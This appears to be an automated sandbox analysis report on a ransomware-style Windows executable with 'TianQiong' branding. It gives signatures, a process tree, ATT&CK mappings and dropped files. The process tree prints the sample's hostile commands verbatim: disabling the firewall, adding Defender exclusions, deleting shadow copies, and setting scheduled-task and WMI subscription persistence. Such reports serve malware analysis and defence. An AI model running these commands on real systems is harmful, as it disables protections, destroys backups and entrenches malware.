Overview

overview

10

Static

static

10

2026-07-06...uk.exe

windows10-2004-x64

10

2026-07-06...uk.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    124s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260706-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    07/07/2026, 03:58

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-07-06_4ad8439b7cee77da6bce544a1cc8c5ec_cobalt-strike_icedid_ngrbot_njrat_ryuk.exe
  • Size 181KB
  • Sample260707-ejxjdsev7l
  • SHA256 bac3505f700808862758ebc416fb4d0c94c6c81b0dc48fa6b7094b9c2d549e02
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
adwaredefense_evasionevasionexecutionimpactpersistenceprivilege_escalationransomwarespywaretrojan

Malware Config

Signatures

  • Modifies WinLogon for persistence 2 TTPs 2 IoCs
    persistence
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 2 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 12 IoCs
    defense_evasiontrojan
  • Modifies Windows Defender notification settings 3 TTPs 4 IoCs
    defense_evasiontrojan
  • Modifies firewall policy service 3 TTPs 6 IoCs
    defense_evasion
  • Modifies security service 2 TTPs 2 IoCs
    defense_evasion
  • UAC bypass 3 TTPs 6 IoCs
    defense_evasiontrojan
  • Windows security bypass 2 TTPs 2 IoCs
    defense_evasiontrojan
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Detects executables containing artifacts associated with disabling Widnows Defender 1 IoCs
  • Detects executables embedding registry key / value combination indicative of disabling Windows Defen 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Event Triggered Execution: AppInit DLLs 1 TTPs

    Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes.

    persistenceprivilege_escalation
  • Modifies Windows Firewall 2 TTPs 6 IoCs
    defense_evasion
  • Drops startup file 2 IoCs
  • Loads dropped DLL 31 IoCs
  • Windows security modification 2 TTPs 6 IoCs
    defense_evasiontrojan
  • Adds Run key to start application 2 TTPs 4 IoCs
    persistence
  • Checks for any installed AV software in registry 1 TTPs 6 IoCs
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
    defense_evasiontrojan
  • Modifies Security services 2 TTPs 6 IoCs

    Modifies the startup behavior of a security service.

    defense_evasion
  • Drops file in System32 directory 4 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
    ransomware
  • Drops file in Windows directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 18 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies Control Panel 4 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
    adwarespyware
  • Modifies registry class 9 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs
  • System policy modification 1 TTPs 14 IoCs
    defense_evasion
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-06_4ad8439b7cee77da6bce544a1cc8c5ec_cobalt-strike_icedid_ngrbot_njrat_ryuk.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-06_4ad8439b7cee77da6bce544a1cc8c5ec_cobalt-strike_icedid_ngrbot_njrat_ryuk.exe"
    1⤵
    • Modifies WinLogon for persistence
    • Modifies Windows Defender DisableAntiSpyware settings
    • Modifies Windows Defender Real-time Protection settings
    • Modifies Windows Defender notification settings
    • Modifies firewall policy service
    • Modifies security service
    • UAC bypass
    • Windows security bypass
    • Drops startup file
    • Windows security modification
    • Adds Run key to start application
    • Checks for any installed AV software in registry
    • Checks whether UAC is enabled
    • Modifies Security services
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Drops file in Windows directory
    • Modifies Control Panel
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:5128
    • C:\Windows\System32\netsh.exe
      "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      PID:1532
    • C:\Windows\System32\netsh.exe
      "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="天琼_AllowAll" dir=in action=allow enable=yes profile=any
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      PID:3512
    • C:\Windows\System32\netsh.exe
      "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="天琼_AllowAll" dir=in action=allow enable=yes profile=any
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      PID:5808
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-07-06_4ad8439b7cee77da6bce544a1cc8c5ec_cobalt-strike_icedid_ngrbot_njrat_ryuk.exe' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:2516
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\2026-07-06_4ad8439b7cee77da6bce544a1cc8c5ec_cobalt-strike_icedid_ngrbot_njrat_ryuk.exe' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:3456
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionExtension '.天琼' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:1368
    • C:\Windows\System32\vssadmin.exe
      "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
      2⤵
      • Interacts with shadow copies
      PID:1740
    • C:\Windows\System32\notepad.exe
      "C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\!!!天琼_README!!!.txt
      2⤵
      • Modifies registry class
      PID:1864
    • C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" schtasks /create /tn "天琼_SystemCore" /xml "C:\Users\Admin\AppData\Local\Temp\天琼_task.xml" /f
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:3644
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="TianQiongFilter", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2420
      • C:\Windows\System32\Wbem\WMIC.exe
        wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="TianQiongFilter", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
        3⤵
          PID:4952
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="TianQiongConsumer", CommandLineTemplate="C:\Users\Admin\AppData\Local\Temp\2026-07-06_4ad8439b7cee77da6bce544a1cc8c5ec_cobalt-strike_icedid_ngrbot_njrat_ryuk.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3040
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="TianQiongConsumer", CommandLineTemplate="C:\Users\Admin\AppData\Local\Temp\2026-07-06_4ad8439b7cee77da6bce544a1cc8c5ec_cobalt-strike_icedid_ngrbot_njrat_ryuk.exe"
          3⤵
            PID:2760
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"TianQiongFilter\"", Consumer="CommandLineEventConsumer.Name=\"TianQiongConsumer\""
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5264
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"TianQiongFilter\"", Consumer="CommandLineEventConsumer.Name=\"TianQiongConsumer\""
            3⤵
            • Loads dropped DLL
            PID:5960
      • C:\Windows\system32\vssvc.exe
        C:\Windows\system32\vssvc.exe
        1⤵
          PID:3312
        • C:\Users\Admin\AppData\Local\Temp\2026-07-06_4ad8439b7cee77da6bce544a1cc8c5ec_cobalt-strike_icedid_ngrbot_njrat_ryuk.exe
          C:\Users\Admin\AppData\Local\Temp\2026-07-06_4ad8439b7cee77da6bce544a1cc8c5ec_cobalt-strike_icedid_ngrbot_njrat_ryuk.exe
          1⤵
          • Modifies WinLogon for persistence
          • Modifies Windows Defender DisableAntiSpyware settings
          • Modifies Windows Defender Real-time Protection settings
          • Modifies Windows Defender notification settings
          • Modifies firewall policy service
          • Modifies security service
          • UAC bypass
          • Windows security bypass
          • Drops startup file
          • Windows security modification
          • Adds Run key to start application
          • Checks for any installed AV software in registry
          • Checks whether UAC is enabled
          • Modifies Security services
          • Drops file in System32 directory
          • Sets desktop wallpaper using registry
          • Drops file in Windows directory
          • Modifies Control Panel
          • Suspicious use of WriteProcessMemory
          • System policy modification
          PID:3672
          • C:\Windows\System32\netsh.exe
            "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
            2⤵
            • Modifies Windows Firewall
            • Event Triggered Execution: Netsh Helper DLL
            PID:2544
          • C:\Windows\System32\netsh.exe
            "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="天琼_AllowAll" dir=in action=allow enable=yes profile=any
            2⤵
            • Modifies Windows Firewall
            • Loads dropped DLL
            • Event Triggered Execution: Netsh Helper DLL
            PID:3448
          • C:\Windows\System32\netsh.exe
            "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="天琼_AllowAll" dir=in action=allow enable=yes profile=any
            2⤵
            • Modifies Windows Firewall
            • Loads dropped DLL
            • Event Triggered Execution: Netsh Helper DLL
            PID:3716
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-07-06_4ad8439b7cee77da6bce544a1cc8c5ec_cobalt-strike_icedid_ngrbot_njrat_ryuk.exe' -Force
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Loads dropped DLL
            PID:1620
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\2026-07-06_4ad8439b7cee77da6bce544a1cc8c5ec_cobalt-strike_icedid_ngrbot_njrat_ryuk.exe' -Force
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Loads dropped DLL
            PID:4996
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionExtension '.天琼' -Force
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Loads dropped DLL
            PID:2216
          • C:\Windows\System32\vssadmin.exe
            "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
            2⤵
            • Loads dropped DLL
            • Interacts with shadow copies
            PID:1132
          • C:\Windows\System32\notepad.exe
            "C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\!!!天琼_README!!!.txt
            2⤵
            • Loads dropped DLL
            • Modifies registry class
            PID:3228
          • C:\Windows\System32\schtasks.exe
            "C:\Windows\System32\schtasks.exe" schtasks /create /tn "天琼_SystemCore" /xml "C:\Users\Admin\AppData\Local\Temp\天琼_task.xml" /f
            2⤵
            • Scheduled Task/Job: Scheduled Task
            PID:5260
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="TianQiongFilter", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:624
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="TianQiongFilter", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
              3⤵
              • Loads dropped DLL
              PID:3328
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="TianQiongConsumer", CommandLineTemplate="C:\Users\Admin\AppData\Local\Temp\2026-07-06_4ad8439b7cee77da6bce544a1cc8c5ec_cobalt-strike_icedid_ngrbot_njrat_ryuk.exe"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4696
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="TianQiongConsumer", CommandLineTemplate="C:\Users\Admin\AppData\Local\Temp\2026-07-06_4ad8439b7cee77da6bce544a1cc8c5ec_cobalt-strike_icedid_ngrbot_njrat_ryuk.exe"
              3⤵
              • Loads dropped DLL
              PID:804
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"TianQiongFilter\"", Consumer="CommandLineEventConsumer.Name=\"TianQiongConsumer\""
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2840
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"TianQiongFilter\"", Consumer="CommandLineEventConsumer.Name=\"TianQiongConsumer\""
              3⤵
              • Loads dropped DLL
              PID:1332
        • C:\Windows\system32\wbem\WmiApSrv.exe
          C:\Windows\system32\wbem\WmiApSrv.exe
          1⤵
          • Loads dropped DLL
          PID:1448

        Network

              MITRE ATT&CK Enterprise v16

              Reconnaissance

              Resource Development

              Initial Access

              Execution

              Command and Scripting Interpreter

              1
              T1059

              PowerShell

              1
              T1059.001

              Scheduled Task/Job

              1
              T1053

              Scheduled Task

              1
              T1053.005

              Windows Management Instrumentation

              1
              T1047

              Persistence

              Boot or Logon Autostart Execution

              2
              T1547

              Registry Run Keys / Startup Folder

              1
              T1547.001

              Winlogon Helper DLL

              1
              T1547.004

              Create or Modify System Process

              6
              T1543

              Windows Service

              6
              T1543.003

              Event Triggered Execution

              2
              T1546

              AppInit DLLs

              1
              T1546.010

              Netsh Helper DLL

              1
              T1546.007

              Scheduled Task/Job

              1
              T1053

              Scheduled Task

              1
              T1053.005

              Privilege Escalation

              Abuse Elevation Control Mechanism

              1
              T1548

              Bypass User Account Control

              1
              T1548.002

              Boot or Logon Autostart Execution

              2
              T1547

              Registry Run Keys / Startup Folder

              1
              T1547.001

              Winlogon Helper DLL

              1
              T1547.004

              Create or Modify System Process

              6
              T1543

              Windows Service

              6
              T1543.003

              Event Triggered Execution

              2
              T1546

              AppInit DLLs

              1
              T1546.010

              Netsh Helper DLL

              1
              T1546.007

              Scheduled Task/Job

              1
              T1053

              Scheduled Task

              1
              T1053.005

              Defense Evasion

              Abuse Elevation Control Mechanism

              1
              T1548

              Bypass User Account Control

              1
              T1548.002

              Direct Volume Access

              1
              T1006

              Impair Defenses

              9
              T1562

              Disable or Modify System Firewall

              2
              T1562.004

              Disable or Modify Tools

              6
              T1562.001

              Indicator Removal

              2
              T1070

              File Deletion

              2
              T1070.004

              Modify Registry

              14
              T1112

              Credential Access

              Discovery

              Software Discovery

              1
              T1518

              Security Software Discovery

              1
              T1518.001

              System Information Discovery

              2
              T1082

              Lateral Movement

              Collection

              Command and Control

              Exfiltration

              Impact

              Defacement

              1
              T1491

              Inhibit System Recovery

              2
              T1490

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 d125d285a0d13063efd8897655394acdc0cb881e86fdc2f23a49df200e062aea
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 9f57d2e9e7f59b0619f5916324f47087c3c7081e523a29307a65cd100c1e5bc1
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 250fd1562b505953bb079fe3666d695fd9ee78c4b5975f2a9a6e2bc3dc4be691
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 535980b1dd63325ec980664be4525e33f9c1d329313941ffbafdc2f069d7f120
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 79e91509bb729729697fd44a5cb8647fa7d4e1e56d08f73df9ecf744e3fe0dac
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              __PSScriptPolicyTest_eciyt3ns.ptz.ps1
              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eciyt3ns.ptz.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              tianqiong_bg.bmp
              • Path C:\Users\Admin\AppData\Local\Temp\tianqiong_bg.bmp
              • Size 1.4MB
              • SHA256 f8ea35025fc826c4ce858807b80fae29ce538f5fbdb4a589f711ff7c9e79d24c
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              天琼_task.xml
              • Path C:\Users\Admin\AppData\Local\Temp\天琼_task.xml
              • Size 1KB
              • SHA256 4918913bca2f6853db4acd6a1f74dcb52ad4167aa67edb681a01826755ad0c9f
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              天琼系统服务.lnk
              • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\天琼系统服务.lnk
              • Size 1KB
              • SHA256 ac06efd969ab4f722f668cfeb77c0a54714b07f4d611a110fc952cf1104a3c43
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              TranscodedWallpaper
              • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\TranscodedWallpaper
              • Size 8KB
              • SHA256 332f94a9972521de65691c4f4cf2dfad128d58425c2b329ef3ad34f6fa1440bf
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              !!!天琼_README!!!.txt
              • Path C:\Users\Admin\Desktop\!!!天琼_README!!!.txt
              • Size 2KB
              • SHA256 503ddcca84281f480d67fddb2448acc7ef2d67325ce2ec49757feb8f232356aa
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              TianQiong-Antivirus.lnk
              • Path C:\Users\Admin\Desktop\TianQiong-Antivirus.lnk
              • Size 1KB
              • SHA256 73cec779f89fbf9251408f786e293afa938fcfda5633d6a0ea11ee6c73d68494
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              TianQiong-Antivirus.lnk
              • Path C:\Users\Admin\Desktop\TianQiong-Antivirus.lnk
              • Size 1KB
              • SHA256 b1e5b358f631c724eadf3c3abe68cbd321ee2967f13b58bbf9fd11a0e9883b0b
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              Windows_Update_天琼.lnk
              • Path C:\Users\Admin\Desktop\Windows_Update_天琼.lnk
              • Size 1KB
              • SHA256 b3d71d50df58659c78e8dbabba33010b18d8fad34c8a609cea5ee383c2c5aae1
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              Windows_Update_天琼.lnk
              • Path C:\Users\Admin\Desktop\Windows_Update_天琼.lnk
              • Size 1KB
              • SHA256 10a0fef62e3ded9cfadcd8ec838f180f8cd02ee660752547132a91c60e5fc9d7
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              ⚠️_天琼_紧急通知.html
              • Path C:\Users\Admin\Desktop\⚠️_天琼_紧急通知.html
              • Size 699B
              • SHA256 022540f1ca982944b5e12d2479532f3a02aa6fae3608ab81cc91adff8b85ed3a
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              天琼-技术支持.lnk
              • Path C:\Users\Admin\Desktop\天琼-技术支持.lnk
              • Size 1KB
              • SHA256 8d3fb97bc18d473c8496f42771cef6caf981804e7ee594d2b970ae9f524363a7
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              天琼-技术支持.lnk
              • Path C:\Users\Admin\Desktop\天琼-技术支持.lnk
              • Size 1KB
              • SHA256 4cb73897215ba0af0ce520386b9544aca8b1f67097d9733e46ed9dc3e2b8b108
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              天琼-解密工具.lnk
              • Path C:\Users\Admin\Desktop\天琼-解密工具.lnk
              • Size 1KB
              • SHA256 6df855ca90d448eac8555ff0fcb485e6e4ad80c292cda45e965803090e7dd00e
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              天琼-解密工具.lnk
              • Path C:\Users\Admin\Desktop\天琼-解密工具.lnk
              • Size 1KB
              • SHA256 6f361f80f9d789bb57551aecc0b4756b49453ca4f9462a85d3e6fb72dee82fc2
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              天琼定制版.lnk
              • Path C:\Users\Admin\Desktop\天琼定制版.lnk
              • Size 1KB
              • SHA256 9b755bac4bc40abcdb607a48ef43b43a63567d0c220b76ab03deb3ea6290c52f
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              天琼定制版.lnk
              • Path C:\Users\Admin\Desktop\天琼定制版.lnk
              • Size 1KB
              • SHA256 d396fd476c154723d5c1ab72f436b7d7022991e9b1fa5b686b028715939931f1
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              TianQiongCore.dll
              • Path C:\Windows\System32\TianQiongCore.dll
              • Size 181KB
              • SHA256 bac3505f700808862758ebc416fb4d0c94c6c81b0dc48fa6b7094b9c2d549e02
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              memory/1620-144-0x000001BDDAE70000-0x000001BDDAF22000-memory.dmp
              Download

              memory/2516-6-0x00000258DB490000-0x00000258DB542000-memory.dmp
              Download

              memory/2516-5-0x00000258DB220000-0x00000258DB23E000-memory.dmp
              Download

              memory/2516-2-0x00000258DB1D0000-0x00000258DB1F2000-memory.dmp
              Download

              memory/2516-7-0x00000258DB210000-0x00000258DB21A000-memory.dmp
              Download

              memory/3456-14-0x000002B743D00000-0x000002B743DB2000-memory.dmp
              Download

              memory/3476-51-0x0000000002D80000-0x0000000002D81000-memory.dmp
              Download

              memory/3476-22-0x0000000000680000-0x0000000000681000-memory.dmp
              Download

              memory/3476-50-0x0000000006AA0000-0x0000000006AA1000-memory.dmp
              Download

              memory/4996-153-0x000001C7D4BB0000-0x000001C7D4C62000-memory.dmp
              Download